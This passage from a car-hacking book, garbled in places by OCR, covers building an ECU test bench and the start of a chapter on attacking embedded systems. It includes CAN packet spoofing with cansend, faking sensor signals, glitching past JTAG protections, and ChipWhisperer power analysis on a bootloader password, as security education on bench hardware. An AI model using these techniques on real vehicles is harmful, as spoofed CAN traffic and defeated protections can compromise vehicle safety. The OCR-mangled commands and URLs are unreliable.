use a reference website such as betp://www.auterraweb.com/aboutcan.btml to
help you identify a target vehicle. Also, make sure you leave at least a


http://www.auterraweb.com/aboutcan.html

pigtail’s worth of wiring when you remove the ECUj this will make it easier
to wire up later.

If you’re not comfortable pulling devices out of junked cars, you can
order an ECU online at a site like car-part.com. The cost will be a bit higher
because you’re paying for someone else to get the part and ship it to you. Be
sure that the ECU you buy includes the wire bundles.

One downside to buying an ECU online is that it may be difficult to acquire
parts from the same car if you need multiple parts. For instance, you may need
both the body control module (BCM) and the ECU because you want to include
keys and the immobilizer is in the BCM. In this case, if you mix and match
from two different vebicles, the vebicle won’t “start” properly.

Instead of harvesting or buying a used ECU, you could also use a prebuilt
simulator, like the ECUsim 2000 by ScanTool (see Figure 7-2). A simulator
like ECUsim will cost around $200 per protocol and will support only
OBD/UDS communications. Simulators can generate faults and MIL lights,
and they include fault knobs for changing common vehicle parameters, such
as speed. Unless you’re building an application that uses only UDS packets,
however, a simulator probably isn’t the way to go.
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Figure 7-2: ECUsim OBD simulator

Dissecting the ECU Wiring

Once you have all of the parts, you’ll need to find the ECU’s wiring diagram
to determine which wires you need to connect in order to get it to work.
Visit a website such as ALLDATA (bttp://www.alldata.com/) or Mitchell 1
(http://mitchelll.com/main/) to get a complete wiring diagram. You'll find that
off-the-shelf service manuals will sometimes have wiring diagrams, but
they’re often incomplete and contain only common repair areas.

Wiring diagrams aren’t always easy to read, mainly because some

combine numerous small components (see Figure 7-3). Try to mentally
break down each component to get a better idea of which wires to focus on.
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Figure 7-3: Example of an ECU wiring diagram

Pinouts

You can get pinouts for the ECUs on several different vehicles from
http://www.innovatemotorsports.com/resources/ecu_pinout.php and from
commercial resources like ALLDATA and Mitchell 1. Books like the
Chilton auto repair manuals include block diagrams, but you’ll find that they
typically cover only the most common repair components, not the entire

ECU.

Block Diagrams

Block diagrams are often easier to read than wiring diagrams that show all
components on the same sheet. Block diagrams usually show the wiring for
only one component and offer a higher-level overview of the main
components, whereas schematics show all the circuitry details. Some block
diagrams also include a legend showing which connector block the diagram
refers to and the connectors on that module; you’ll typically find these in the


http://www.innovatemotorsports.com/resources/ecu_pinout.php

corner of the block diagram (see Table 7-1).

Table 7-1: Example Connector Legend

CONN IDPin countColor
Cl1 68 WH
C2 68 L-GY
C3 68 M-GY
C4 12 BK

The legend should give the connector number, its number pin count, and
the color. For instance, the line C1 = 68 WH in Table 7-1 means that the
C1 connector has 68 pins and is white. L-GY probably means light gray, and
so on. A connector number like C2-55 refers to connector 2, pin 55. The
connectors usually have a number on the first and last pin in the row.

Wiring Things Up

Once you have information on the connector’s wiring, it’s time to wire it up.
Wire the CAN to the proper ports on the connector, as discussed in “OBD-
IT Connector Pinout Maps” on page 31. When you provide power—a power
supply from an old PC should suffice—and add a CAN sniffer, you should

see packets. You can use just a simple OBD-II scan tool that you can pick up
at any automotive store. If you have everything wired correctly, the scan tool

should be able to identify the vehicle, assuming that your test bench includes
the main ECU.

Your MIL, or engine light, will most likely be reported as on by the scan
tool/ECU.

If you’ve wired everything but you still don’t see packets on your CAN
bus, you may be missing termination. To address this problem, start by
adding a 120-ohm resistor, as a CAN bus has 120-ohm resistors at each end
of the bus. If that doesn’t work, add a second resistor. The maximum missing



resistance should be 240 ohms. If the bus still isn’t working, then recheck
your wires and try again.

A lot of components communicate with the ECU in a simple manner, either
via set digital signals or through analog signals. Analog signals are easy to
simulate with a potentiometer and you can often tie a 1 kilobm potentiometer
to the engine temp and fuel lines to control them.

Building a More Advanced Test Bench

If you’re ready to take your car hacking research further, consider building a
more advanced ECU test bench, like the one shown in Figure 7-4.

This unit combines an ECU with a BCM because it also has the original
keys to start the vehicle. Notice that the optional IC has two 1 kilohm
potentiometers, or variable resistors, on the lower left side, both of which are
tied to the engine temperature and fuel lines. We use these potentiometers
to generate sensor signals, as discussed in the following section. This
particular test bench also includes a small MCU that allows you to simulate
sending crankshaft and camshaft signals to the ECU.
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Figure 7-4: More complex test bench

A more complex unit like the one in Figure 7-4 makes it trivial to
determine CAN traffic: just load a sniffer, adjust the knob, and watch for the
packets to change. If you know which wires you’re targeting and the type of
input they take, you can easily fake signals from most components.

Simulating Sensor Signals

As I mentioned, you can use the potentiometers in this setup to simulate
various vehicle sensors, including the following:

* Coolant temperature sensor
* Fuel sensor
* Oxygen sensors, which detect post-combustion oxygen in the exhaust

* Throttle position, which is probably already a potentiometer in the actual



vehicle

® Pressure sensors

If your goal is to generate more complex or digital signals, use a small
microcontroller, such as an Arduino, or a Raspberry Pi.

For our test bench, we also want to control the RPMs and/or
speedometer needle. In order to do this, we need a little background on how
the ECU measures speed.

Hall Effect Sensors

Hall effect sensors are often used to sense engine speed and crankshaft
position (CKP) and to generate digital signals. In Figure 7-5, the Hall effect
sensor uses a shutter wheel, or a wheel with gaps in it, to measure the
rotation speed. The gallium arsenate crystal changes its conductivity when
exposed to a magnetic field. As the shutter wheel spins, the crystal detects
the magnet and sends a pulse when not blocked by the wheel. By measuring
the frequency of pulses, you can derive the vehicle speed.

Gallium Arsenate ( Magnet

Crystal
N

Shutter Wheel
Figure 7-5: Shutter wheel diagram for Hall effect sensor

You can also use the camshaft timing sprocket to measure speed. When
you look at the camshaft timing sprocket, the magnet is on the side of the
wheel (see Figure 7-6).
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Figure 7-6: Camshaft timing sprocket

Using a scope on the signal wire shows that the Hall effect sensor
produces a square wave. Typically, there are three wires on the camshaft
sensor: power, ground, and sensor. Power is usually 12V, but the signal wire
typically operates at SV back to the ECM. Camshaft sensors also come as
optical sensors, which work in a similar fashion except an LED is on one side
and a photocell is on the other.

You can gauge full rotation timing with a missing tooth called a #rigger
wheel or with a timing mark. It’s important to know when the camshaft has
made a full rotation. An inductive camshaft sensor produces a sine wave and
will often have a missing tooth to detect full rotation.

Figure 7-7 shows the camshaft sensor repeating approximately every 2
milliseconds. The jump or a gap you see in the wave at around the 40-
millisecond mark occurs when the missing tooth is reached. The location of
that gap marks the point at which the camshaft has completed a full rotation.
In order to fake these camshaft signals into the ECU test bench, you’d need
to write a small sketch for your microcontroller. When writing
microcontroller code to mimic these sensors, it’s important to know what
type of sensor your vehicle uses so that you’ll know whether to use a digital
or analog output when faking the teeth.
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Figure 7-7: Camshaft sensor signals under a scope

Simulating Vehicle Speed

Now, we’ll build a test bench to simulate vehicle speed. We’ll use this test
bench together with the IC shown in Figure 7-4 to pull a vehicle’s VIN via
the OBD-II connector. This will give us the exact year, make, model, and
engine type of the vehicle. (We looked at how to do this manually in
“Unified Diagnostic Services” on page 54.) Table 7-2 shows the results.

Table 7-2: Vehicle Information

VIN Model Year Make  Body Engine
1G1Z2T53826F109149 Malibu 2006 Chevrolet Sedan 3.5L. V6 OHV
4Door 12V

Once we know a vehicle’s year of manufacture and engine type, we can



fetch the wiring diagram to determine which of the ECU wires control the
engine speed (see Figure 7-8). Then, we can send simulated speed data to
the ECU in order to measure effects. Using wiring diagrams to simulate real
engine behavior can make it easy to identify target signals on the CAN bus.

Pin 27 = Engine Speed
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Figure 7-8: Wiring diagram showing the engine speed pin

The wiring diagram in Figure 7-8 shows how you can trace the wire from
the CKP sensor so that connector C2, pin 27 receives the engine speed from
the crankshaft sensor. Having identified this pin in the wiring diagram, we
locate the corresponding wire on the ECU. We can connect this wire to any



digital IO pin on an Arduino. In this example, we’ll use pin 2 and then add a
potentiometer to A0 to control the speed of the CKP sensor’s “teeth” going
to the ECM. Pin 2 will send output to C2, pin 27.

In order to simulate engine speed sent from the CKP sensor, we code up
an Arduino sketch to send high and low pulses with a delay interval mapped
to the potentiometer position (see Listing 7-1).

int ENG_SPD_PIN = 2;
long interval = 500;
long previousMicros = 0;
int state = LOW;

// the setup routine runs once when you press reset
void setup() {

pinMode (ENG_SPD_PIN, OUTPUT) ;

}

// the loop routine repeats forever
void loop() {
unsigned long currentMicros = micros();

// read the input on analog pin 0
int sensorValue = analogRead(A0);
interval = map (sensorValue, 0, 1023, 0, 3000);

if (currentMicros - previousMicros > interval) {
previousMicros = currentMicros;

if (state == LOW)

state = HIGH;

else

state = LOW;

if (interval == 0)
state = LOW; // turning the pot all the way down turns it "off"

digitalWrite (ENG_SPD_PIN, state);
}
}

Listing 7-1: Arduino sketch designed to simulate engine speed

Now, we upload this sketch to the Arduino, power up the test bench, and
when we turn the knob on the potentiometer, the RPM dial moves on the
IC. In Figure 7-9, the second line of the cansniffer traffic shows bytes 2 and

3—0x0B and 0x89—changing as we rotate the potentiometer knob for
Arbitration ID 0x110 (the column labeled ID).



< cansniffer slcan® # 1=20 h=1806 t=580 >
el 68 88 ........
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OxOB and 0x89 don’t directly translate into the RPMs; rather, they’re
shorthand. In other words, if you’re going to 1000 RPMs, you won’t see the
hex for 1000. When you query an engine for RPMs, the algorithm to convert
these two bytes into RPMs is commonly the following:

a8 EE

(A x256)+ B
4

A is the first byte and B is the second byte. If you apply that algorithm to
what’s shown in Figure 7-9 (converted from bex to decimal), you get this:

(11x256) +137

= 738.25 RPMs

You can simplify this method to taking OxB89, which is 2953 in decimal
form. When you divide this by 4, you get 738.25 RPMs.

When this screenshot was taken, the needle was idling a bit below the 1
on the RPM gauge, so that’s probably the same algorithm. (Sometimes you’ll
find that the values in the true CAN packets don’t always match the
algorithms used by off-the-shelf diagnostic tools using the UDS service, but
it’s nice when they do.)

To verify that arbitration ID 0x110 with bytes 2 and 3 controls the RPM,
we’ll send our own custom packet. By flooding the bus with a loop that sends
the following, we’ll peg the needle at max RPMs.

$ cansend slcan0 110#00££££3500380000




While this method works and, once connected, takes only a few seconds
to identify the CAN packet responsible for RPMs, there are still some visible
issues. Every so often a CAN signal shows up that resets the values to 00 00
and stops the speedometer from moving. So while the ECM is fairly certain
the crankshaft is spinning, it’s detecting a problem and attempting to reset.

You can use the ISO-TP tools discussed in Chapter 3 to pull data. In two
different terminals, we can check whether there was a diagnostic code. (You
can also use a scan tool.)

In one terminal, enter the following:

S isotpsniffer -s 7df -d 7e8 slcan0

And in another terminal, send this command:

$ echo "03" | isotpsend -s 7DF -4 7E8 slcan0

You should see this output in the first terminal:

slcan0O 7DF [1] 03 - '.'
slcan0 7E8 [6] 43 02 00 68 C1 07 - 'C..h.."

Looks like we have a D'TC set. Querying PID 0x03 returned a 4-byte
DTC (0x0068C107). The first two bytes make up the standard D'T'C (0x00
0x68). This converts to P0068, which the Chilton manual refers to as
“throttle body airflow performance.” A quick Google search will let you
know that this is just a generic error code that results from a discrepancy
between what the PCM thinks is going on and what data it’s getting from
the intake manifold. If we wanted to spoof that data as well, we’d need to
spoof three additional sensors: the MAF sensor, the throttle position, and
the manifold air pressure (MAP). Fixing these may not actually fix our
problem, though. The PCM may continue to think the vehicle is running
smoothly, but unless you really care about fudging all the data, you may be
able to find other ways to trick the signals you want out of the PCM without
having to be immune to triggering DTC faults.

If you don’t want to use an Arduino to send signals, you can also buy a
signal generator. A professional one will cost at least $150, but you can also
get one from SparkFun for around $50
(http://www.sparkfun.com/products/11394/). Another great alternative is the


http://www.sparkfun.com/products/11394/

JimStim for Megasquirt. This can be purchased as a kit or fully assembled
for $90 from DIYAutoTune (bttp://www.diyautotune.com/catalog/jimstim-15-
megasquirt-stimulator-wheel-simulator-assembled-p-178.btml).

Summary

In this chapter you learned how to build an ECU test bench as an affordable
solution to safe vehicle security testing. We went over where you can get
parts for building a test bench and how to read wiring diagrams so you know
how to hook those parts up. You also learned how to build a more advanced
test bench that can simulate engine signals, in order to trick components
into thinking the vehicle is present.

Building a test bench can be a time-consuming process during your initial
research, but it will pay off in the end. Not only is it safer to do your testing
on a test bench, but these units are also great for training and can be
transported to where you need them.


http://www.diyautotune.com/catalog/jimstim-15-megasquirt-stimulator-wheel-simulator-assembled-p-178.html

8

ATTACKING ECUS AND OTHER EMBEDDED
SYSTEMS

The ECU is a common target of reverse engineering, sometimes referred to
as chip tuning. As mentioned in Chapter 7, the most popular ECU hack is
modifying the fuel map to alter the balance of fuel efficiency and
performance in order to give you a higher-performance vehicle. There’s a
large community involved with these types of modifications, and we’ll go
into more detail on firmware modifications like this in Chapter 13.

This chapter will focus on generic embedded-system methods of attack as
well as side-channel attacks. These methodologies can be applied to any
embedded system, not just to the ECU, and they may even be used to
modify a vehicle with the help of aftermarket tools. Here, we’ll focus on
debugging interfaces for hardware as well as performing side-channel
analysis attacks and glitching attacks.

To get the most out of this chapter, you should have a good understanding of
basic electronics, but I’ve done my best to explain things within reason.




Analyzing Circuit Boards

The first step in attacking the ECU or any embedded system in a vehicle is
to analyze the target circuit board. I touched upon circuit board analysis in
Chapter 7, but in this chapter, I’ll go into more detail about how electronics
and chips work. I’ll introduce you to techniques that can be applied to any
embedded system in the vehicle.

Identifying Model Numbers

When reversing a circuit board, first look at the model numbers of the
microcontroller chips on the board. These model numbers can help you
track down valuable information that can be key to your analysis. Most of
the chips you’ll find on vehicle circuit boards are generic—companies rarely
make custom ones—so an Internet search of a chip’s model number can
provide you with the complete data sheet for that chip.

As mentioned in Chapter 7, you’ll sometimes run into custom ASIC
processors with custom opcodes, especially in older systems, which will be
harder to reprogram. When you encounter older chips like these, remove
them from the board and plug them in to an EPROM programmer in order
to read their firmware. You should be able to reprogram modern systems
directly via debugging software, like JTAG.

Once you locate a data sheet, try to identify the microcontrollers and
memory locations on each chip to determine how things are wired together
and where to find diagnostic pins—a potential way in.

Dissecting and Identifying a Chip

If you can’t find a model number, sometimes all you’ll have to go on is the
chip’s logo (after a while, you’ll find that you start to recognize chip logos)
and a few of its product codes. The logo shown in Figure 8-1 is for
STMicroelectronics. At the top of the chip is the model number—in this
case, STM32F407—which may be hard to read because it’s engraved. Often,
a light-up magnifier or a cheap USB microscope can prove very handy in
reading these markings. Go to http://www.st.com/ to find the data sheet for
the STM32F series chips, specifically the 407 variety. Much like VIN

numbers, model numbers are often broken down into sections representing


http://www.st.com/

model number and different variations. There’s no standard for how to
break down these numbers, however, and every manufacturer will represent
their data differently.

Model Number

Code

Pin 1 Dimple
Figure 8-1: STM32 chipset identification

Below the chip’s model number is the code—in this case, VG T6—which
tells you the specific features, such as USB support, available on the chip. If
you look up the model number in conjunction with the ST code, you'll learn
that the STM32F407Vx series is an ARM Cortext M4 chip with support for
Ethernet, USB, two CANSs, and LIN as well as JTAG and Serial Wire
Debug.

To determine the function of the various pins, scan the data sheet to find
the package pinout diagrams, and look for the package that matches yours
for pin count. For example, as you can see in Figure 8-1, each side of the
chip has 25 pins for a total of 100, which matches the LQFP100 pinout in
the data sheet shown in Figure 8-2.

Each chip will usually have a dot or dimple at pin 1 (see Figure 8-1), and
once you identify pin 1, you can follow the pinout to determine each pin’s
function. Sometimes you’ll find two dimples, but one should be slightly



more pronounced.

Sometimes pin 1 on a chip is indicated by a cut-off corner. If you find
nothing on a chip that allows you to identify pin 1, look for things you can
identify. For example, if another chip on the board is a common CAN
transceiver, you could use a multitool to trace the lines to figure out which
pins it connects to. You could then reference the data sheet to see which side
of the chip contains these CAN pins. To do this, put your multimeter in
continuity mode. Once in continuity mode, it will beep if you touch both
pins to the same trace, indicating that they’re connected. Once you’re able to
identify just one pin, you can use that information together with the pinout
to deduce the pin layout.

PE2 [ ] VDD
PE3 [ ] VSS
PE4 [ ] VCAP_2
PES [ ] PAI3
PES [ ] PA12
VBAT [ ] PATY
PC13 [ ] PAIO
PC14 [ [ ] PA?
Pl I ] PAS
Vss [ ] PC9
VDD [ ] PC8
PHO [ ] PC7
PH1 [ LGFP100 ] PC6
NRST [ ] PD15S
PCO [ ] PD14
PC1 [ ] PD13
PC2 [ ] PD12
PC3 [ ] PD11
VDD [ ] PD10
VSsA [ ] PDY
VREF+ [ ] PD8
VDDA [ ] PB1S
PAO [ ] PB14
PA1 [ ] PB13
PA2 [ ] PB12




Figure 8-2: STM32F4 data sheet pinout

Debugging Hardware with JTAG and Serial Wire Debug

You can use a variety of debugging protocols to debug chips just as you do
software. To determine which protocol your target chip supports, you’ll
need to use the chip’s data sheet. You should be able to use a chip’s
debugging port to intercept its processing and download and upload
modifications to the chip’s firmware.

JTAG

JTAG is a protocol that allows for chip-level debugging and downloading
and uploading firmware to a chip. You can locate the JTAG connections on
a chip using its data sheet.

JTAGulator

You'll often find pads on a chip’s circuit board that are broken out from the
chip itself and that may give you access to the JTAG pins. To test the
exposed pads for JTAG connections, use a tool like JTAGulator, shown in
Figure 8-3. Plug all of the chip’s exposed pins in to the JTAGulator, and set
the voltage to match the chip. JTAGulator should then find any JTAG pins
and even walk the JTAG chain—a method of linking chips over JTAG—to

see whether any other chips are attached.



Figure 8-3: JTAGulator with a Bus Pirate cable

JTAGulator supports either screw terminals or the use of a Bus Pirate
cable (as in Figure 8-3) for probing. Both the JTAGulator and the Bus Pirate

cable use a serial interface to configure and interact with a chip.

Debugging with JTAG

You can debug a chip with JTAG using just two wires, but it’s more
common to use four or five pin connections. Of course, finding the JTAG
connection is only the first step; usually, you’ll need to overcome additional
protections that prevent you from just downloading the chip’s firmware in
order to do anything interesting.

Developers will disable JTAG firmware via either software or hardware.
When disabling JTAG in software, the programmer sets the J'T'D bit, which
is usually enabled twice via software during runtime. If the bit it isn’t called
twice within a short time, it’s not set. It’s possible to defeat a software
protection like this by using a clock or power-glitching attack to skip at least



one of these instructions. (We’ll discuss glitching attacks later in “Fault
Injection” on page 148.)

The other way to disable JTAG on a chip is to attempt to permanently
disable programming by setting the JTAG fuse—OCDEN and JTAGEN—
and thereby disabling both registers. This is harder to bypass with glitch
attacks, though voltage glitching or the more invasive optical glitches may
succeed. (Optical glitches entail decapping the chip and using a microscope
and a laser, so they’re very costly. We won’t be covering them in this book.)

Serial Wire Debug

Although JTAG is the most commonly used hardware debugging protocol,
some microcontrollers—such as the STM32F4 series, which is commonly
used in automotive applications because it has onboard CAN support—
primarily use Serial Wire Debug (SWD). While the ST32F4 series of ICs can
support JTAG, they’re often wired to support only SWD because SWD
requires only two pins instead of the five used for JTAG. SWD also allows
overlapping of the JTAG pins, so these chips may support both JTAG and
SWD by using the pins labeled TCK and TMS. (These pins are labeled
SWCLK and SWIO in the data sheet.) When debugging ST chips, you can
use a tool like ST-Link to connect, debug, and reflash the processor. ST-
Link is cheap (about $20) compared to some of its JTAG counterparts. You
can also use a STM32 Discovery board.

The STM32F4DISCOVERY Kit

The STM32F4DISCOVERY kit (sold by STM) is another tool you can use
to debug and program these chips. These are actually developer boards with
their own programmer. They cost about $15 and should be in your car
hacking tool set. The benefit of using the Discovery kit is that it’s both a
cheap programmer and a development board that you can use to to test
modifications to the chip’s firmware.

In order to use the Discovery kit as a generic programmer, remove the
jumpers from the pins labeled S7-Link, and then connect the six pins on the
opposite side labeled SWD (see Figure 8-4). Pin 1 starts next to the white
dot on the SWD connector.

Table 8-1 shows the pinout.



Table 8-1: Pinout for the STM32FADISCOVERY kit

STM32 chip STM32F4DISCOVERY kit
VDD_TARGETPin 1

SWLCK Pin 2
GND Pin 3
SWDIO Pin 4
nRESET Pin 5
SWO Pin 6

Figure 8-4: Programming a STM32 chip via the STM32F4DISCOVERY kit

You’ll most likely need to provide power to the target device, but instead
of using pin 1 on the SWD connector, use the 3V pin from the Discovery
portion of the board, as shown in Figure 8-4. (Notice in the pinout that the



Discovery kit doesn’t use all six pins for SWD; pins nRESE'T and SWO are
optional.)

Once you’re connected, you’ll most likely want to read and write to the
firmware. If you’re running Linux, you can get the ST-Link from GitHub at
https://github.com/texane/stlink/. Once you have those utilities installed, you’ll
not only be able to read and write to the chip’s flash memory, but you can
also start a gdbserver to work as a real-time debugger.

The Advanced User Debugger

Renesas is a popular automotive chipset used in ECUs (see Figure 8-5). It
has its own implementation over JTAG called the Advanced User Debugger
(AUD). AUD provides the same functionality as JTAG but with its own
proprietary interface. As with SWD, AUD requires an interface specific to it
in order to communicate with Renesas chipsets.



https://github.com/texane/stlink/

Nexus

Nexus from Freescale/Power Architecture (now NXP) is another proprietary
JTAG interface. Like AUD and SWD, this in-circuit debugger requires its
own device in order to interface with it. When dealing with Freescale chips,
such as the MCP5xxx series, keep in mind that the debugger may be Nexus.

The Nexus interface uses a dedicated set of pins that should be defined in
the chipset’s data sheet. Look for the EVTT/O pins in the auxiliary port
section of the data sheet.

Side-Channel Analysis with the ChipWhisperer

Side-channel analysis is another hardware attack used to bypass ECU and
other microcontroller protections and to crack built-in cryptography. This
type of attack takes advantage of various characteristics of embedded
electronic systems instead of directly targeting specific hardware or software.
Side-channel attacks take many forms, and some can cost anywhere from
$30,000 to $100,000 to perform because they require specialized equipment
like electron microscopes. Expensive side-channel attacks like these are often
invasive, meaning they’ll permanently alter the target.

We’ll focus on simpler and cheaper side-channel attacks with the help of
the ChipWhisperer, a noninvasive tool from NewAE "T'echnologies
(http://newae.com/chipwhisperer/). The ChipWhisperer is an open source side-
channel analysis tool and framework that costs just over $1,000—

considerably less than its non—open source counterparts, which typically start
around $30,000.

It’s possible to accomplish the attacks Ill discuss at less of a cost by building a
specialized device, but the ChipWhisperer is the cheapest tool that covers all the
main bases. Also, ChipWhisperer tutorials target open source designs, which
makes them ideal for this book, since we can’t use examples from specific
manufacturers due to copyright. I'l] integrate the NewAE tutorials throughout
this chapter when demonstrating each attack.

The ChipWhisperer has an optional package that includes a target


http://newae.com/chipwhisperer/

development board called the MultiTarget Victim Board (see Figure 8-6).
This board is mainly used for demonstration and training, and we’ll use it as

the target of our demos as well.
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Figure 8-6: MultiTarget Victim Board

The MultiTarget Victim Board is basically three separate systems: an
ATmega328, a XMEGA, and a smart card reader. (The ChipWhisperer can
perform man-in-the-middle attacks on smart cards, but because cars don’t
really use smart cards, we won’t cover that feature here.)

By changing jumpers on the board, you can pass power to enable or
disable different systems, but be careful to enable only one section at a time,
or you may short the board. Pay attention to the jumper settings before

testing.

Installing the Software

First install the ChipWhisperer software. The following instructions are for
Linux, but you can find detailed setup instructions for Windows at
http://www.newae.com/sidechannel/cwdocs/.


http://www.newae.com/sidechannel/cwdocs/

The ChipWhisperer software requires Python 2.7 and some additional
Python libraries to run. First, enter the following code:

S sudo apt-get install python2.7 python2.7-dev python2.7-1libs python-
numpy

python-scipy python-pyside python-configobj python-setuptools python-
pip git

S sudo pip install pyusb-1.0.0bl

To get the ChipWhisperer software, you can either download a stable
version as a ZIP file from the NewAE site or grab a copy from the GitHub
repository, as shown here:

S git clone git://git.assembla.com/chipwhisperer.git
S c¢d chipwhisperer
S git clone git://git.assembla.com/openadc.git

The second git command downloads OpenADC. The OpenADC board
of the ChipWhisperer is the oscilloscope part, which measures voltage
signals and is basically the heart of the ChipWhisperer system. Use the
following commands to set up the software (you should be root in the

ChipWhisperer directory):

cd openadc/controlsw/python
sudo python setup.py develop
cd software

sudo python setup.py develop

vr Uy Ur Ur

The hardware is already natively supported by Linux, but you should add
a group for the normal user that you’ll test so that the user can have access to
the device without needing root privileges. T'o allow non-root users to use
the equipment, create a udev file, such as /etc/udev/rules.d/99 -ztex.rules, and
add the following to that file:

SUBSYSTEM=="usb", ATTRS{idVendor}=="04b4", ATTRS{idProduct}=="8613",
MODE="0664", GROUP="plugdev"
SUBSYSTEM=="usb", ATTRS{idVendor}=="22l1la", ATTRS{idProduct}=="0100",
MODE="0664", GROUP="plugdev"

Also, create a file for the AVR programmer called /etc/udev/rules.d/ 99-
avrisp.rules:

SUBSYSTEM=="usb", ATTRS{idVendor}=="03eb", ATTRS{idProduct}=="2104",



MODE="0664", GROUP="plugdev"

Now add yourself (you’ll need to log out and back in for these new
permissions to take effect):

S sudo usermod -a -G plugdev <YourUsername>
S sudo udevadm control -reload-rules

Connect the ChipWhisperer to your machine by plugging a mini-USB
cable in to the side of the ChipWhisperer box. The green System Status
light on the top should light up, and your ChipWhisperer should now be set

up or at least in its unconfigured core.

Prepping the Victim Board

To prep the Victim Board—or device under test (DUT), as it’s referred to in
the ChipWhisperer documentation—download the AVR Crypto library (the
library isn’t included with the ChipWhisperer framework by default due to

export laws) by entering the following:

S c¢d hardware/victims/firmware
S sh get_crypto.sh

We'll use the AVRDUDESS GUI to program our Victim Board. You
can get AVRDUDESS from its GitHub repository at
https://github.com/zkemble/avrdudess/ or grab binaries from sites such as
http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/. You’ll need to install
mono for this to work:

S sudo apt-get install libmono-winforms2.0-cil

Next, make sure the Victim Board is set up to use the ATmega328
portion by changing the jumper settings to match the layout in Figure 8-7.
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Figure 8-7: Jumper settings for the MultiTarget Victim Board

Your ChipWhisperer should have come with a 20-pin ribbon cable. Plug
this cable in to the back of the ChipWhisperer and the USB A/B cable in to
the side, as shown in Figure 8-8. Dmesg should report seeing an AVRISP
mkII plugged in, which is the programmer that we’ll use to program the
target board. This will allow us to perform testing without disconnecting the
device.



Figure 8-8: Wiring up the MultiTarget Victim Board

Finally, attach the SMA cable from the VOU'T on the target board to the
LNA connector in CH-A on the front of the ChipWhisperer. Table 8-2
shows the pinout. We’'ll use this setup for our demos unless otherwise

specified.
Table 8-2: Pinout for the MultiTarget Victim Board

Victim Board ChipWhisperer Component

20-pin connector Back of the ChipWhisperer 20-pin ribbon cable
VOouUT LNA on CH-A SMA cable
Computer Side of the ChipWhisperer Mini USB cable




Brute-Forcing Secure Boot Loaders in Power-Analysis
Attacks

Now you have your Victim Board set up, we’ll look at using a power-analysis
attack to brute-force a password. Power-analysis attacks involve looking at
the power consumption of different chipsets to identify unique power
signatures. By monitoring the power consumption for each instruction, it’s
possible to determine the type of instruction being executed. For instance, a
no-operation (NOP) instruction will use less power than a multiply (MUL)
instruction. These differences can reveal how a system is configured or even
whether a password is correct because a correct password character may use
more power than an incorrect one.

In the following example, we’ll explore TinySafeBoot
(http://jtacp.org/tech/tinysafeboot_en.btm), a small, open source bootloader
designed for AVR systems. The bootloader requires a password in order to
make modifications. We’ll use the ChipWhisperer to exploit a vulnerability
in its password-checking method and derive the password from the chip.
This vulnerability has been fixed in newer versions of TinySafeBoot, but for
practice, the old version is included in the victizzs folder of the
ChipWhisperer framework. This tutorial is based on NewAE’s “Timing
Analysis with Power for Attacking 'TSB”
(bttp://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd. html).

Prepping Your Test with AVRDUDESS
To begin, open AVRDUDESS and select AVR ISP mkII from the

Programmer drop-down menu. Make sure you have ATmega328P selected
in the MCU field, and then click Detect to verify that you’re connected to
the ATmega328p (see Figure 8-9). Select the flash file
hardware/victims/firmware/ tinysafeboor-20140331 in the Flash field.


http://jtxp.org/tech/tinysafeboot_en.htm
http://www.newae.com/sidechannel/cwdocs/tutorialtimingpasswd.html

V&' AVRDUDESS 2.4 (avrdude version 6.0.1)
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Port (-P) Baud rate (-b) Bit clock (-B) Flash 32 KB
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Flash Presets
[ware/victims/firmwarejtinysafeboot-20140331/tsb_m328p_d0d1_20140331.hes |Detautt =]
{* Write  Read T Verify Go I Format I"‘"I"I-'D writing oniy) j Save ‘ Delete I
EEPROM Fuses & lock bits

* Write ( Read (¢ Verify Go I Format I,‘-.u‘.n writing only) j H | I Set fuses
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Options
I™ Force {-F) I” Erase flash and EEPROM (-e) | Read Write

I™ Disable verify (-V) I™ Do not write (-n) ™ setlock

[™ Disable flash erase (-D)  Verbosity |3 - Bit selector |
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3 I Additional settings

Program! | Stop I Options [
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avrdude done. Thank you.

Ready

Figure 8-9: Programming TinySafeBoot in AVRDUDESS

Click Program! and AVRDUDESS should write the TinySafeBoot
program to the ATmega.

Setting Up the ChipWhisperer for Serial
Communications

Now we’re ready for testing! We’ll use the ChipWhisperer to set and
monitor the power usage when the bootloader checks for the password.
Then, we’ll use this information to build a tool to crack the password much
faster than a traditional brute-force method would. To begin, set up the



ChipWhisperer to communicate with the bootloader over the bootloader’s
serial interface, like this:

$ cd software/chipwhisperer/capture
S python ChipWhispererCapture.py

The ChipWhisperer has lots of options, so we’ll go step by step through

each setting you’ll need to change.

1. In ChipWhispererCapture, go to the General Settings tab and set the
Scope Module to ChipWhisperer/OpenADC and the Target Module
to Simple Serial, as shown in Figure 8-10.

General Settings & X
Parameter Value

- Scope Module ChlpWhlspererpoenADC o)
]@

Trace Format
- Auxilary Module E’i
EI ﬂCqLIIEItIﬂI'I Settlngs

- Number of Traces 100
- Capture Segments 1

Open Monitor

Key/Text Pattern  Basic _I
Figure 8-10: Setting the Scope and Target types



Target Settings g X

Parameter Value

Target Connection
- connection ChipWhisperer =
Key Length 128
Init Command
Load Key Command kS$KEYS\n
Load Input Command

Go Command PSTEXTS\n
- Output Format r$RESPONSES$\n
Serial Port Settings
- TX Baud 9600 [
- RX Baud 9600 &

Figure 8-11: Setting Connection and Baud

2. Switch to the Target Settings tab (at the bottom of the window), and
change the Connection setting to ChipWhisperer. Then under Serial
Port Settings, set both TX Baud and RX Baud to 9600, as shown in

Figure 8-11.

3. At the top of the screen, click the red circle next to Scope with DIS in it.
The circle should become green and display CON.

4. 'The ChipWhisperer comes with a simple serial terminal interface.

Choose Tools » Open Terminal to open it. You should see a terminal
like the one shown in Figure 8-12.



ChipWhispererCapture.py

@@@TSB7f1cf01e950f@c0>ff03aaaal

Clear I

| Send

TX on Enter: |None v| RX: Show non-ASCll as hex v

Connect | Set target in main GUI

Figure 8-12: ChipWhisperer serial terminal

5. Set TX on Enter at the bottom of the terminal to None, and check the
box that says RX: Show non-ASCII as hex (see Figure 8-12). Now
click Connect to enable your text areas.

6. Enter @@@ (TinySafeBoot’s start-up password) in the text field to the
left of the Send button, and click Send. The bootloader should start
with T'SB and mainly contain information about the firmware version
and AVR settings. T'SB is just an identifier used by TinySafeBoot, most
likely its initials. The output should match that in Figure 8-12.

Setting a Custom Password

Now we need to set a custom password so that we can monitor the power
levels when a password is entered.

First, close the serial terminal. Then enter the following lines in the
Python console window, which is at the bottom center of the
ChipWhisperer main window.



>>> gelf.target.driver.ser.write("@@@")
>>> gelf.target.driver.ser.read(255)

